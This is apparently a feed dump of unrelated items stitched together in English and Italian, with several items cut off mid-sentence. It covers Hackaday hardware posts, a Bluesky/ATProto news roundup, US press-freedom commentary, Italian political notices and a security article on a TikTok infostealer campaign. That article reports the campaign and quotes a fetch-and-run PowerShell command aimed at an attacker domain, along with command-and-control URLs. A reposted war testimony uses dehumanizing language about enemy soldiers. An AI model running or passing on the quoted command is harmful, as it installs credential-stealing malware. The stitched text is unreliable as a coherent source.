L'articolo proviene da #StartMag e viene ricondiviso sulla comunità Lemmy @Informatica (Italy e non Italy 😁) Google: il gigante americano torna sul mercato degli occhiali connessi. L’articolo di Le Figaro tratto dalla rassegna di Liturri nel suo canale Telegram.
If you want a regular table saw, you’re probably best off just buying one—it’s hard to beat the economies of scale that benefit the major manufacturers. If you want a teeny one, though, you might like to build it yourself. [Maciej Nowak] has done just that.
The concept is simple enough; a small motor and a small blade make a small table saw. [Maciej] sourced a remarkably powerful 800-watt brushless motor for the build. From there, the project involved fabricating a suitable blade mount, belt drive, and frame for the tool. Some time was well-spent on the lathe producing the requisite components out of steel and aluminum, as well as a stout housing out of plywood. The motor was then fitted with a speed controller, with the slight inconvenience that it’s a hobby unit designed to run off DC batteries rather than a wall supply. Ultimately, though, this makes the saw nicely portable. All that was left to do was to fit the metal top plate, guides, and a suitably small 3″ saw blade to complete the build.
Bluesky begins rolling out support for livestreaming on other platforms, Leaflet is a blogging and publishing platform that has added ATProto integration, easier bridging between ATProto and other protocols, and a whole lot more.
Bluesky begins rolling out support for livestreaming on other platforms, Leaflet is a blogging and publishing platform that has added ATProto integration, easier bridging between ATProto and other protocols, and a whole lot more.
I also run a weekly newsletter, where you get all the articles I published this week directly in your inbox, as well as additional analysis. You can sign up right here, and get the next edition tomorrow!
The News
Bluesky is starting to roll out a new feature where people can add their Twitch and YouTube livestreams to their account, and the Bluesky app will display an indicator on your profile that you are live. Bluesky is rolling out the feature slowly, with only a select few accounts being able to go live so far. It is mainly focused on sports communities so far, with the NBA being one of the first partners. Bluesky is taking it slow with this feature, CTO Paul Frazee said that major effort is in verifying if the linked account on the streaming platform is the same person as the Bluesky account. Another concern is moderation, Bluesky is only linking to Twitch and YouTube, as these are platforms with a well-established moderation infrastructure. For example Bluesky wants ATProto streaming platform Streamplace to have solid moderation in place before it is considered to be added as a potential source of livestreams. Similar to how Bluesky has rolled out verification, some core pieces of how going live works as only accessible on ATProto, and available for others to use. Bluesky client TOKIMEKI already added the ability for any user to go live. However, same as with verification, this is only visible to other people who also use TOKIMEKI. The real impact of a livestreaming integration will likely come when the feature becomes more widely available, but for now it is already a good demonstration of Bluesky’s willingness to send traffic outside of their app. While Big Tech platforms are taking greater and greater efforts to stop people from leaving their app, Bluesky is taking the opposite approach, by adding features which make people switch to another app.
Leaflet is a publishing platform where anyone can easily create and publish their own documents, posts and pages. These documents can be shared as simple web pages, with a lot of features for customisation. Leaflet’s latest update is Leaflet Publications, which adds ATProto integration. They describe the update as Leaflet becoming as a social publishing platform. With the update, you can now create a ‘publication’, which is a collection of documents and posts. For this you log into Leaflet with your ATProto (Bluesky) account, so that the data is stored on ATProto on your PDS. This makes Leaflet an ATProto blogging platform similar to WhiteWind. Future plans include for more social integration, such as subscribing, commenting, following and more. The organisation says that the key goals is to build social publishing, and to support creators, with paid subscriptions being “a high priority and on our roadmap”.
A New Social, the organisation behind Bridgy Fed, has launched a dedicated page to for people to manage their account bridging. Bridgy Fed is a piece of software that allows people to ‘bridge’ their account across multiple protocols. This allows people on Mastodon (using the ActivityPub protocol) to interact with people on Bluesky (using AT Protocol). For this, people need to manually opt-in their accounts to be bridged to other networks (largely due to cultural reasons from the fediverse communities). Up until now, doing so was a fairly confusing process that involved manually following other accounts. With the new update, people can log in to Bridgy Fed with the account they want to bridge, and simply turn it on or off. It also has an easier option to update the handles for Mastodon accounts that are bridged to Bluesky: for example, by default my Mastodon account on Bluesky can be found at @[url=did:plc:43qcmg2xbxakj6mp4puqyayv]Laurens Hof[/url], which is a fairly cumbersome handle, to put it mildly. At the settings page I can now change it to any handle I want, similar to how any Bluesky account can change their handle. A New Social is also launching a Patreon as they are working towards financial sustainability, with plans to launch merch soon as well.
Custom feed builder Graze has released an integration with Patreon. This integration gives feed creators two new options. Feed creators can now give members of their Patreon the ability to see their custom feeds without sponsored content. They can also limit access to their custom feed to only members of their Patreon. Custom feeds present a large amount of new design space to explore, and they can be used for a wide variety of purposes. One of those is using custom feeds as a form of community, as Blacksky is doing, for example. Restricting access to a a custom feed to only members of a Patreon is another step in the direction of ‘feeds as communities’.
Grain Social is a new photo sharing app build on ATProto. The app is for creating and sharing galleries of photos. The app uses it’s own lexicon, giving people a space to upload and share photos that do not automatically end up on Bluesky. The app has some simple features right now: a timeline that shows all the galleries and photo’s that are created on the platform, and the ability for people to upload photos and create galleries.
Germ Network is an end-2-end encrypted (E2EE) messaging app that is currently in development. The app has announced that they are working on ATProto integration, where people can use Germ Network with their ATProto account. The actual E2EE messaging happens off-protocol. Germ Network says that they are hoping for a common on-protocol implementation in the future, where Germ Network and other ATProto messaging apps can interoperate. A thread by Germ Network CEO Tessa Brown also illustrates why platforms are interested in integrating with ATProto: getting a new social platform off the ground without an existing social graph is incredibly hard. ATProto provides the possibility for other platforms to tap into an existing social graph. This observation is not new, Bluesky PBC has been explicit that this is one of the advantages and design goals of ATProto. We are now starting to see this play out, with new apps that are starting to come out that use ATProto to bootstrap a social graph.
The developers for Bluesky client Flashes said they are working on the concept of a PDS that runs on mobile phones. The Flashes developers are interested in working together with others on this, and have started a Working Group where they have shared their proposed design.
One of the core ideas of ATProto is that the network is effectively one giant pool of data, where a variety of apps and tools can access the same data and process and present that data in a way that fits them best. A Bluesky post can be viewed in the Bluesky Social app for regular doomscrollingmicroblogging, but the same post can also be opened in a PDS browser tool like PDSls or atp.tools, viewed in Skythread for a threading view, or more. Switching between apps to view the same post in different context is quite cumbersome. at://wormhole is a tool to make this easier, it is an Apple Shortcut that allows easy switching between apps. You can view the same content, using the different context that each app provides. As the ecosystem develops, I’m expecting to see more experimentation and development in this direction.
An update for moderation software Ozone (it can now display, issue, and revoke, verification) as well as a new proposal by Bluesky PBC to expand the set of reporting reasons available to users and labelers.
Streamplace has launched a new tool for OAuth, OATProxy, which helps prevent users being logged out of their apps every few days.
Streamplace redesigned the homepage, and made their first hire after their funding round.
Popsky is a media review app on ATProto, and the app is now available for testing on Android as well as iOS. Popsky also supports Goodreads imports now.
BookHive is another media review platform that added support for Goodreads imports this week.
Jetrelay is a custom designed relay that is intended to serve a large number of clients with high efficiency.
In the Media
Wired has an extensive interview with Bluesky CEO Jay Graber, and Graber answers a wide variety of questions on the network. Some quotes that stood out to me:
Graber says that Bluesky is great at sending traffic to news organisations. Wired themselves confirm this, saying that “The platform has become a top traffic driver and source of new subscribers“. Washington Times reporter Drew Harwell also agrees that Bluesky has become a great drive of referral traffic.
Wired boils down questions of moderation to its core, by asking: “Would you welcome President Trump?” Graber is clear that Bluesky will, saying: “Yeah—Bluesky’s for everyone, and we think that over time, the broader public conversation needs to be on an open protocol. That lets people choose their own moderation preferences. We think that it’s flexible enough to serve every use case and everyone.” The follow-up questions on how Graber relates this to free speech being under thread is worth reading as well.
On growing the team: “In November, during our growth spurt, we were around 20. Now we’re at 25, and we’ll probably pass 30 soon. We’re growing at a pace that’s sustainable to us.”
Graber talks about an upcoming ‘communities’ feature that’s scheduled for the end of the year: “A lot of people don’t realize that Bluesky is a bit like Reddit and Twitter at the same time, because you can build feeds that are essentially communities—the science feed is run by scientists, is moderated by scientists, and has its own rules.” The ability to build custom feeds is also planned to come to within the Bluesky app.
On making money, Graber reiterates the current plans: “Subscriptions are coming soon. The next steps are to look into what marketplaces can span these different applications.”
Some interesting and fun experiments in building on ATProto that caught my eye this week:
A tool to scan your timeline and see how how much every account you follow contributes to your feed. Gives good insight in how dominant the loudest voices can be on your timeline, compared to the Quiet Posters.
Sure why not make your browsing history publicly available on ATProto.
That’s all for this week, thanks for reading! If you want more analysis, you can subscribe to my newsletter. Every week you get an update with all this week’s articles, as well as extra analysis not published anywhere else. You can subscribe below, and follow this blog @fediversereport.com and my personal account @laurenshof.online on Bluesky.
All the lefties fled to Bluesky following Elon Musk’s Twitter takeover. But CEO Jay Graber says the app is for everyone—and could revolutionize how people communicate online.
Julian Assange insieme alla moglie Stella sul red carpet a Cannes per presenziare la presentazione di “The Six Billion Dollar Man, l'uomo da 6 miliardi di dollari”, un film documentario diretto da Eugene Jarecki sul giornalista Julian Assange.
Some projects start as hacks, and end as products — that’s the case for [Akio Sato]’s project Loko, the LoRa/GPS tracker that was entered in our 2025 Pet Hacks Contest. The project dates all the way back to 2019 on Hackaday.io, and through its logs you can see its evolution up to the announcement that Loko is available from SeeedStudio.
It’s not a device necessarily limited to pets. In fact, the original use case appears to have been a backup locator beacon for lost drones. But it’s still a good fit for the contest none-the-less: at 12 grams, the tiny tracking device won’t bother even the most diminutive of pups, and will fit on any collar at only 30 mm x 23 mm. The “ground station” that pairs with your phone is a bit bigger, of course, but unless you have a Newfoundlander or a St. Bernard you’re likely bigger than fido. The devices use LoRa to provide a range up to 15 km — maybe better if you can loop them into a LoRaWAN. Depending on how often you pin the tracker, it can apparently last for as long as 270 days, which we really hope you won’t need to track a missing pet.
The hardware is based around Seeed’s Wio-E5 LoRa chip, which packages an STM32 with a LoRA radio. The firmware is written in MicroPython, and everything is available via GitHub under the MIT license. Though the code for the mobile app that interfaces with that hardware doesn’t appear to be in the repository at the moment. (There are folders, but they’re disappointingly empty.) The apps are available free on the iOS App Store and Google Play, however.
There’s still plenty of time to submit your own hacks to the Pet Hacks Contest, so please do! You have until April 25th, so if you haven’t started yet, it’s not too late to get hacking.
We’re tremendously excited to be able to announce that the Hackaday Supercon is on for 2025, and will be taking place October 31st through November 2nd in Pasadena, California.
Supercon is about bringing the Hackaday community together to share our great ideas, big and small. So get to brainstorming, because we’d like to hear what you’ve been up to! Like last year, we’ll be featuring both longer and shorter talks, and hope to get a great mix of both first-time presenters and Hackaday luminaries. If you know someone you think should give a talk, point them here.
Honestly, just the people that Supercon brings together is reason enough to attend, but then you throw in the talks, the badge-hacking, the food, and the miscellaneous shenanigans … it’s an event you really don’t want to miss. And as always, presenters get in for free, get their moment in the sun, and get warm vibes from the Hackaday audience. Get yourself signed up now!
We’ll have more news forthcoming in the next few weeks, including the start of ticket sales, so be sure to keep your eyes on Hackaday.
Gli sviluppatori di Google hanno annunciato una nuova funzionalità nel browser Chrome che consentirà al gestore password integrato di modificare automaticamente le credenziali se sono state compromesse.
“Quando Chrome rileva una password compromessa durante l’accesso, Google Password Manager chiederà automaticamente all’utente di correggerla”, afferma l’azienda. “Chrome può generare una sostituzione efficace sui siti supportati e aggiornare automaticamente la password dell’utente.”
La nuova funzionalità si basa sulle capacità esistenti del gestore delle password, che consente di generare password complesse durante la registrazione e di tenere traccia delle credenziali che compaiono in fughe di dati note. Google spiega che le modifiche automatiche delle password servono a ridurre gli attriti e ad aiutare gli utenti a proteggere i propri account senza dover accedere alle impostazioni o interrompere il proprio lavoro.
I proprietari del sito possono abilitare il supporto per questa funzionalità utilizzando i seguenti metodi:
utilizzando autocomplete=”current-password” e autocomplete=”new-password” per attivare il riempimento automatico e salvare;
impostando un reindirizzamento da /.well-known/change-password al modulo di modifica della password sul sito.
“Sarebbe molto più semplice se i gestori di password potessero reindirizzare l’utente direttamente a un URL per modificare la password”, affermano gli sviluppatori. — In questo caso, un URL noto per modificare la password tornerà utile. Riservando un URL noto che reindirizza l’utente alla pagina di modifica della password, il sito può facilmente indirizzare gli utenti nel posto giusto.”
@Informatica (Italy e non Italy 😁) È stata svelata una campagna malware altamente sofisticata che coinvolge oltre 100 estensioni per Google Chrome: apparentemente offrono funzionalità legittime, come strumenti di produttività o assistenti AI, ma celano un secondo volto molto più
@Informatica (Italy e non Italy 😁) L’Authentication Server Response Roasting è una delle 17 tecniche di hacking abitualmente adottate da chi si occupa di penetration testing infrastrutturale (cyber gang comprese) al fine di compromettere un tipico dominio Active Directory. Ecco
Il Dipartimento della Difesa statunitense ha annunciato l’intenzione di aumentare nuovamente il limite di spesa di 795 milioni di dollari (rispetto a un tetto di 480 milioni di dollari solo un anno fa) per le licenze software nell’ambito del Maven Smart System di
@Informatica (Italy e non Italy 😁) Aumenti rilevanti degli attacchi DDoS e ransomware sono al centro del report mensile dell’ACN. Ecco cosa emerge dal consueto report dell'Agenzia cyber del mese di aprile 2025 L'articolo ACN: ad aprile crescita sostenuta di attacchi DDoS e ransomware proviene da Cyber
L’imboscata tesa da Trump al presidente sudafricano, Cyril Ramaphosa, durante l’incontro con la stampa di mercoledì nello Studio Ovale, ha fatto presa soltanto sugli ambienti di estrema destra (“MAGA”) che formano la base di consenso della Casa Bianc…
"Matteo Mininni Questa è una testimonianza-riflessione del Mufti d'Ucraina (il capo dei musulmani del Paese) , che da 3 anni combatte i russi al fronte. Tra l'altro, secondo noi LUI dovrebbe essere il tagliagole che aspira al paradiso dei martiri e delle vergini, quelli di fronte invece l'espressione di un popolo "cristiano": ""Questa società è uno sciame di locuste. Il loro scopo è avanzare a qualunque costo, conquistando nuovi territori. Ogni giorno a Vovchansk, si fanno avanti in piccoli gruppi di 3-5 persone, scavalcando i cadaveri di coloro che, ore prima, hanno preso d'assalto la stessa posizione. Senza senso, senza ragione, senza successo: solo per ammucchiare cadaveri presso di noi. Ciò differisce dagli assalti-tritacarne del maresciallo sovietico Zhukov per il solo fatto che ora attaccano in gruppi più piccoli, non per conquistare chilometri, ma una singola posizione di pochi metri quadrati. Giorno dopo giorno, metodicamente, ondata dopo ondata, se perdono terreno, si ritirano, se qualcuno è rimasto per ritirarsi. Ma con una persistenza folle. L'individuo si dissolve, diventando parte dello sciame, dove la morte di pochi non viene nemmeno registrata. Non riesco a spiegare perché continuino ad arrivare, pur sapendo che li uccideremo. La mia formazione filosofica mi impedisce di vedere questa routine con gli occhi di un matematico, limitandomi a notare: meno uno, meno cinque, meno quaranta. La mia formazione filosofica e teologica mi spinge a dare un senso al perché questo Homo erectus condizionato ("uomo eretto", perché non posso definirlo biologicamente Homo sapiens, non scorgendo alcuna razionalità nelle sue azioni) si arrampichi sui cadaveri del suo sciame verso una morte certa, tra rovine che ricordano un paesaggio marziano. Per cosa? Qual è la motivazione? Cosa sperano di ottenere? Quando ho parlato con i prigionieri di guerra, hanno tutti detto di volere soldi dal regime di Putin per migliorare la propria situazione finanziaria. Nessuno ha menzionato motivazioni ideologiche, fede in valori superiori o un obiettivo ambizioso. Solo prestiti, debiti, mutui, povertà, la necessità di crescere i figli. Sei venuto a uccidere i nostri figli per crescere i tuoi? Silenzio. Occhi bassi. Ma questa è la realtà. Ucciderebbero tranquillamente noi e i nostri bambini, ci rubano le case, dormono nei nostri letti, indossano persino i nostri vestiti. Non lo considerano ripugnante o sbagliato. Le loro autorità hanno dato loro il permesso, quindi va bene. Senza esitazione, indosseranno il tuo vestito e mangeranno dal tuo piatto perché il loro zar e la loro chiesa lo hanno benedetto. Vengono per prendere e divorare le nostre risorse, per popolare la nostra terra con se stessi. Mentre i leader dello sciame cercano di spiegare perché ci attaccano e ci uccidono, i ranghi inferiori vogliono solo arricchirsi assassinando e saccheggiando.""
If you work with virtual machines, perhaps to spin up a clean OS install for testing, historically you have either bitten the bullet and used one of the commercial options, or spent time getting your hands dirty with something open source. Over recent years that has changed, with the arrival of open source graphical applications for effortless VM usage. We’ve used GNOME Boxes here to make our lives a lot easier. Now KDE are also joining the party with Karton, a project which will deliver what looks very similar to Boxes in the KDE desktop.
The news comes in a post from Derek Lin, and shows us what work has already been done as well as a roadmap for future work. At the moment it’s in no way production ready and it only works with QEMU, but it can generate new VMs, run them, and capture their screens to a desktop window. Having no wish to join in any Linux desktop holy wars we look forward to seeing this piece of software progress, as it’s a Google Summer Of Code project we hope there will be plenty more to see shortly.
Donald Trump ha annunciato ufficialmente l’avvio operativo del programma Golden Dome, il nuovo sistema di difesa missilistico progettato per blindare il territorio statunitense da minacce avanzate, ipersoniche e orbitali. Con un investimento iniziale da 25
"Questo pomeriggio il nostro segretario Filippo Blengino, è stato arrestato e condotto in Questura dopo essersi autodenunciato per aver aperto un negozio di cannabis light nella nostra sede. Il decreto Sicurezza ha infatti equiparato la cannabis light, sostanza senza effetti psicotropi, che fino a poche settimane fa si vendeva in diversi negozi e tabacchini, alla cannabis con THC. L'obiettivo della disobbedienza civile del nostro segretario, che ora rischia fino a vent'anni di carcere, è quello di smantellare questa norma liberticida innanzi alla Corte costituzionale. Non ci fermeremo di fronte a norme che stanno lentamente rendendo il nostro Paese una democratura, continuando a mettere a disposizione il nostro corpo e la fedina penale per difendere lo Stato di Diritto". Così Radicali Italiani in una nota ufficiale . (agenzia Dire)
Invitiamo presidenti, giunte e consigli provinciali di tutta Italia ad aderire alla campagna Stop Rearm Europe e alla manifestazione nazionale del 21 giugno a Roma. È vergognoso che il governo Meloni tagli 1,7 miliardi per la manutenzione di 120.000 chilometri di strade provinciali mentre si aumentano per il 2025 le spese militari di 10 miliardi [...]
When the Trump administration quickly fulfilled our Freedom of Information Act request for a memo belying its own rationales both for mass deporting Venezuelans and for cracking down on leaks to the press, we had plenty of theories about why.
Maybe someone in the FOIA office used our request as an opportunity to blow the whistle. Maybe it was some kind of mistake. But one possibility that never occurred to us was that administration higher-ups somehow thought that the memo made them look good. After all, everyone knows President Donald Trump hires only the “best and most serious people.”
But according to a report in The New York Times, that’s exactly what happened. So who was the poor junior staffer who somehow read a short, straightforward memo wherein intelligence agencies said Venezuela’s government does not control the Tren de Aragua gang, as Trump claims, and took it to mean, well, the complete opposite? The intelligence community had better stop hiring from whatever school gave that kid a degree!
Turns out it wasn’t some kid, though. It was Joe Kent, chief of staff to Director of National Intelligence Tulsi Gabbard. And get this: He’s Trump’s nominee to lead the National Counterterrorism Center. Apparently, after a first memo undermined Trump’s narrative that Venezuelan migrants are actually President Nicolás Maduro’s secret foot soldiers, Kent requested some “rewriting … so this document is not used against the DNI or POTUS.”
The memo released to us was apparently the rewrite — which confirmed the conclusions of the initial memo. It did mention that the FBI believed some Venezuelan government officials might communicate with some members of Tren de Aragua, but no serious legal minds believe that constitutes an invasion that justifies Trump’s invoking of the Alien Enemies Act.
Kent, however, somehow read it (or maybe that’s giving him too much credit) and thought it vindicated the administration. No one else read it that way, including Secretary of State (among other jobs) Marco Rubio. Rubio didn’t even attempt to twist the memo into somehow supporting the administration’s policies — he just said the intelligence community got it wrong.
But the reason Freedom of the Press Foundation (FPF) filed the FOIA in the first place was not to prove whether Maduro has gangbangers on speed dial or whether high-ranking intelligence officials lack intelligence. It was to check whether Attorney General Pam Bondi’s basis for repealing her predecessor’s safeguards against subpoenaing journalists held water.
Bondi, as well as Gabbard, claimed reports from The New York Times and The Washington Post were false when stating that intelligence agencies disbelieved Trump’s claims about Tren de Aragua. The administration, these officials said, needed the ability to investigate the source of the leak, including by subpoenaing journalists, to protect the nation from so-called fake news from the so-called deep state.
The memo, as we’ve written before, confirmed that the Times and Post got it right and the only thing a crackdown on leaks was meant to protect was Trump and his cronies from embarrassment. But the memo has turned into more than that — it’s become Exhibit A on why leaks to the press serve the public interest.
Here’s a non-exhaustive list of news we now know about because of the leaks to the Times and Post, the memo we were able to request as a result of those leaks, and the reporting that followed.
Kent, the nominee to lead the National Counterterrorism Center, can’t comprehend basic intelligence reports.
Kent demanded intelligence agencies rewrite their findings to save his bosses from embarrassment and, according to the Times, there are emails to prove it (we have filed requests for those, too).
There is a major rift between the State Department and the intelligence community about one of the Trump administration’s most significant policies.
Gabbard requested Bondi initiate a leak investigation based on lies.
Bondi repealed protections for reporters and their sources based on the same lies.
The United States mass deported people to a dangerous prison in El Salvador to perform slave labor for a Trump-friendly authoritarian — all based on the same lies.
Virtually every time the government has cracked down on leaks claiming some kind of threat to the homeland, the real threat has been to its own reputation. Usually it takes years to confirm the obvious. It took decades for Nixon officials who once argued that releasing the Pentagon Papers would gravely endanger national security to admit that was nonsense all along. But this time we know the truth almost immediately, thanks to leaks.
Bondi was right about one thing — the leaks undermined the administration’s policies. But she left out that they were policies that needed undermining because they were built on lies — the kinds of lies that the drafters of the Constitution intended journalists to expose when they wrote the First Amendment’s press clause. That’s what the Times, Post, and their sources did, and it’s exactly why journalist-source confidentiality needs protecting.
If we asked you to think of a device that converts a chemical reaction into electricity, you’d probably say we were thinking of a battery. That’s true, but there is another device that does this that is both very similar and very different from a battery: the fuel cell.
In a very simple way, you can think of a fuel cell as a battery that consumes the chemicals it uses and allows you to replace those chemicals so that, as long as you have fuel, you can have electricity. However, the truth is a little more complicated than that. Batteries are energy storage devices. They run out when the energy stored in the chemicals runs out. In fact, many batteries can take electricity and reverse the chemical reaction, in effect recharging them. Fuel cells react chemicals to produce electricity. No fuel, no electricity.
Superficially, the two devices seem very similar. Like batteries, fuel cells have an anode and a cathode. They also have an electrolyte, but its purpose isn’t the same as in a conventional battery. Typically, a catalyst causes fuel to oxidize, creating positively charged ions and electrons. These ions move from the anode to the cathode, and the electrons move from the anode, through an external circuit, and then to the cathode, so electric current occurs. As a byproduct, many fuel cells produce potentially useful byproducts like water. NASA has the animation below that shows how one type of cell works.
Sir William Grove seems to have made the first fuel cell in 1838, publishing in The London and Edinburgh Philosophical Magazine and Journal of Science. His fuel cell used dilute acid, copper sulphate, along with sheet metal and porcelain. Today, the phosphoric acid fuel cell is similar to Grove’s design.
The Bacon fuel cell is due to Francis Thomas Bacon and uses alkaline fuel. Modern versions of this are in use today by NASA and others. Although Bacon’s fuel cell could produce 5 kW, it was General Electric in 1955 that started creating larger units. GE chemists developed an ion exchange membrane that included a platinum catalyst. Named after the developers, the “Grubb-Niedrach” fuel cell flew in Gemini space capsules. By 1959, a fuel cell tractor prototype was running, as well as a welding machine powered by a Bacon cell.
One of the reasons spacecraft often use fuel cells is that many cells take hydrogen and oxygen as fuel and put out electricity and water. There are already gas tanks available, and you can always use water.
Types of Fuel Cells
Not all fuel cells use the same fuel or produce the same byproducts. At the anode, a catalyst ionizes the fuel, which produces a positive ion and a free electron. The electrolyte, often a membrane, can pass ions, but not the electrons. That way, the ions move towards the cathode, but the electrons have to find another way — through the load — to get to the cathode. When they meet again, a reaction with more fuel and a catalyst produces the byproduct: hydrogen and oxygen form water.
Most common cells use hydrogen and oxygen with an anode catalyst of platinum and a cathode catalyst of nickel. The voltage output per cell is often less than a volt. However, some fuel cells use hydrocarbons. Diesel, methanol, and other hydrocarbons can produce electricity and carbon dioxide as a byproduct, along with water. You can even use some unusual organic inputs, although to be fair, those are microbial fuel cells.
Common types include:
Alkaline – The Bacon cell was a fixture in space capsules, using carbon electrodes, a catalyst, and a hydroxide electrolyte.
Solid acid – These use a solid acid material as electrolyte. The material is heated to increase conductivity.
Phosphoric acid – Another acid-based technology that operates at hotter temperatures.
Molten carbonate – These work at high temperatures using lithium potassium carbonate as an electrolyte.
Solid oxide – Another high temperature that uses zirconia ceramic as the electrolyte.
In addition to technology, you can consider some fuel cells as stationary — typically producing a lot of power for consumption by some power grid — or mobile.
Using fuel cells in stationary applications is attractive partly because they have no moving parts. However, you need a way to fuel it and — if you want efficiency — you need a way to harness the waste heat produced. It is possible, for example, to use solar power to turn water into gas and then use that gas to feed a fuel cell. It is possible to use the heat directly or to convert it to electricity in a more conventional way.
Space
Fuel cells have a long history in space. You can see how alkaline Bacon cells were used in early fuel cells in the video below.
youtube.com/embed/OouXKyroV4w?… Apollo (left) and Shuttle (right) fuel cells (from a NASA briefing) Very early fuel cells — starting with Gemini in 1962 — used a proton exchange membrane. However, in 1967, NASA started using Nafion from DuPont, which was improved over the old membranes.
However, alkaline cells had vastly improved power density, and from Apollo on, these cells, using a potassium hydroxide electrolyte, were standard issue.
Even the Shuttle had fuel cells. Russian spacecraft also had fuel cells, starting with a liquid oxygen-hydrogen cell used on the Soviet Lunar Orbital Spacecraft (LOK).
The shuttle’s power plant measured 14 x 15 x 45 inches and weighed 260 pounds. They were installed under the payload bay, just aft of the crew compartment. They drew cryogenic gases from nearby tanks and could provide 12 kW continuously, and up to 16 kW. However, they typically were taxed at about 50% capacity. Each orbiter’s power plant contained 96 individual cells connected to achieve a 28-volt output.
Going Mobile
There have been attempts to make fuel cell cars, but with the difficulty of delivering, storing, and transporting hydrogen, there has been resistance. The Toyota Mirai, for example, costs $57,000, yet owners sued because they couldn’t obtain hydrogen. Some buses use fuel cells, and a small number of trains (including the one mentioned in the video below).
Surprisingly, there is a market for forklifts using fuel cells. The clean output makes them ideal for indoor operation. Batteries? They take longer to charge and don’t work well in the cold. Fuel cells don’t mind the cold, and you can top them off in three minutes.
There have been attempts to put fuel cells into any vehicle you can imagine. Airplanes, motorcycles, and boats sporting fuel cells have all made the rounds.
Can You DIY?
We have seen a few fuel cell projects, but they all seem to vanish over time. In theory, it shouldn’t be that hard, unless you demand commercial efficiency. However, it can be done, as you can see in the video below. If you make a fuel cell, be sure to send us a tip so we can spread the word.
Durante la Langkawi International Maritime and Aerospace Exhibition (Lima), Fincantieri ed Enra energy solutions hanno firmato un accordo di collaborazione tecnica in favore del programma strategico “15 to 5” per il rafforzamento delle capacità navali operative
Nel contesto di crescente instabilità geopolitica, l’Unione europea sta accelerando il processo di rafforzamento della propria architettura di difesa collettiva. Lo scorso 15 maggio, durante la riunione del Comitato militare dell’Ue (Eumc) a livello di capi di Stato
@Politica interna, europea e internazionale Venerdì 23 maggio, alle ore 11,30, presso Esperienza Europa – David Sassoli il Parlamento Europeo, in collaborazione con The Post Internazionale (TPI), organizza la tavola rotonda “Un nuovo modello di lavoro: la direttiva UE per stage di qualità“. Un
In un preoccupante segnale dell’evoluzione delle tattiche cybercriminali, i threat actor stanno ora sfruttando la popolarità di TikTok come canale per la distribuzione di malware avanzati progettati per il furto di informazioni. L’ultima campagna in circolazione si concentra sulla diffusione degli infostealer Vidar e StealC, inducendo gli utenti a eseguire comandi PowerShell dannosi con il pretesto di attivare software legittimi o sbloccare funzionalità premium in applicazioni come Windows OS, Microsoft Office, CapCut e Spotify.
A differenza dei metodi tradizionali — come i siti web compromessi o le email di phishing — questo vettore d’attacco si basa esclusivamente su tecniche di ingegneria sociale veicolate tramite video. I criminali informatici realizzano video anonimi, spesso generati con strumenti di intelligenza artificiale, che guidano passo dopo passo le vittime nell’installazione inconsapevole del malware sui propri dispositivi.
Questo approccio è particolarmente insidioso perché non lascia alcun codice dannoso sulla piattaforma stessa che le soluzioni di sicurezza possano rilevare e tutti i contenuti fruibili vengono forniti in modo visivo e uditivo. I ricercatori di Trend Micro hanno identificato diversi account TikTok coinvolti in questa campagna, tra cui @gitallowed, @zane.houghton, @allaivo2, @sysglow.wow, @alexfixpc e @digitaldreams771.
La loro indagine ha rivelato che alcuni video hanno ottenuto un notevole successo: uno in particolare ha ottenuto oltre 20.000 “Mi piace”, 100 commenti e ha raggiunto circa 500.000 visualizzazioni. Questa ampia diffusione dimostra il potenziale impatto della campagna e sottolinea come la portata algoritmica di TikTok possa amplificare contenuti dannosi. Le conseguenze per le vittime sono gravi, poiché questi ladri di informazioni possono sottrarre dati sensibili, rubare credenziali e potenzialmente compromettere i sistemi aziendali. Una volta installato, il malware stabilisce una comunicazione con i server di comando e controllo, consentendo agli aggressori di raccogliere informazioni preziose dai dispositivi compromessi.
Meccanismo di infezione e analisi tecnica
La catena di infezione inizia quando gli utenti seguono le istruzioni video per aprire PowerShell (premendo Windows+R e digitando “powershell”) e quindi eseguono un comando simile a: iex (irm https://allaivo[.]me/spotify). Questo comando dall’aspetto innocuo scarica ed esegue uno script remoto (SHA256: b8d9821a478f1a377095867aeb2038c464cc59ed31a4c7413ff768f2e14d3886) che avvia il processo di infezione. Una volta eseguito, lo script crea delle directory nascoste nelle cartelle APPDATA e LOCALAPPDATA dell’utente, quindi aggiunge questi percorsi all’elenco di esclusione di Windows Defender: una sofisticata tecnica di elusione che aiuta il malware a evitare il rilevamento. Il malware procede quindi a scaricare ulteriori payload, tra cui i ladri di informazioni Vidar e StealC.
Queste varianti di malware sono particolarmente pericolose perché prendono di mira informazioni sensibili, tra cui password salvate, portafogli di criptovalute e cookie di autenticazione. Dopo l’installazione, il malware si connette a vari server di comando e controllo, tra cui servizi legittimi utilizzati in modo improprio.
Vidar, ad esempio, utilizza i profili Steam (hxxps://steamcommunity[.]com/profiles/76561199846773220) e i canali Telegram (hxxps://t[.]me/v00rd) come “Dead Drop Resolver” per nascondere la sua effettiva infrastruttura C&C, una tecnica che rende il tracciamento e l’interruzione più difficili. Ciò che rende questa campagna particolarmente efficace è il modo in cui fonde l’ingegneria sociale con lo sfruttamento tecnico.
Presentandosi come utili tutorial per accedere alle funzionalità premium dei software più diffusi, i video creano fiducia negli spettatori, che poi eseguono volentieri i comandi che compromettono i loro sistemi. Ciò rappresenta un’evoluzione significativa negli attacchi basati sui social media, dimostrando come gli autori delle minacce continuino ad adattare le proprie tattiche per sfruttare il comportamento degli utenti ed eludere i controlli di sicurezza tradizionali.
Lunedì 26 maggio ore 12, Andiamo verso il Parlamento - Sabato 31 maggio ore 14, Manifestazione nazionale a Roma - Il 26 maggio il Decreto Sicurezza passerà in discussione alla Camera. Dopo la trasformazione del DDL in Decreto, il Governo ha tempo fino al 12 giugno per approvare definitivamente la legge. È questo il poco [...]
Un'espressione letta in un articolo mi ha colpito in modo particolare: “L'omertosa apatia del piccolo trambusto quotidiano.” Felicissima intuizione linguistica che riesce a racchiudere in sé uno dei crismi su cui poggia la fertile e vigorosa baldanza del liberismo nostrano, quello che toglie i diritti ai lavoratori e non solo abolendo leggi, ma riducendo il mondo del lavoro, anche quello operaio (ci sono, ci sono: non fate finta di niente) a mera paccottiglia senza valore, neanche umano.
E' quel sentire assai comune che porta alla coltivazione del famoso orticello, che con la staccionata lascia fuori tutti i ragionamenti non adatti alla crescita del proprio benessere, della propria fetta intoccabile di piccoli e spesso inutili “privilegi”. Che, di solito, si formano sulla cenere dei diritti negati ad altri. Ma stando al di là della staccionata, sono chiacchiericcio confuso. Una brezza leggera.
